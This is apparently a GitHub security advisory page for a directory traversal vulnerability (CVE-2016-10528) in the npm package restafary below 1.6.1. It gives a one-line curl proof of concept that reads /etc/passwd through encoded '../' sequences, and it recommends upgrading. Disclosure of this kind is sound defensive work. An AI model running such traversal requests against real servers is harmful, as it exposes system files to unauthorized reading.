Skip to content

Directory Traversal in restafary

Moderate severity GitHub Reviewed Published Feb 18, 2019 to the GitHub Advisory Database • Updated Jan 9, 2023

Package

npm restafary (npm)

Affected versions

< 1.6.1

Patched versions

1.6.1

Description

Affected versions of restafary are susceptible to a directory traversal vulnerability when a root path is specified in the configuration.

Proof of Concept

curl -i -s -k  -X 'GET' -H 'Authorization: Basic YWRtaW46cGFzc3dvcmQ=' 'http://localhost:8000/api/v1/fs/..%2f..%2fetc/passwd'

Recommendation

Update to version 1.6.1 or later.

References

Published to the GitHub Advisory Database Feb 18, 2019
Reviewed Jun 16, 2020
Last updated Jan 9, 2023

Severity

Moderate

EPSS score

0.085%
(37th percentile)

Weaknesses

CVE ID

CVE-2016-10528

GHSA ID

GHSA-xg5r-8j97-2wrj

Source code

No known source code
Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.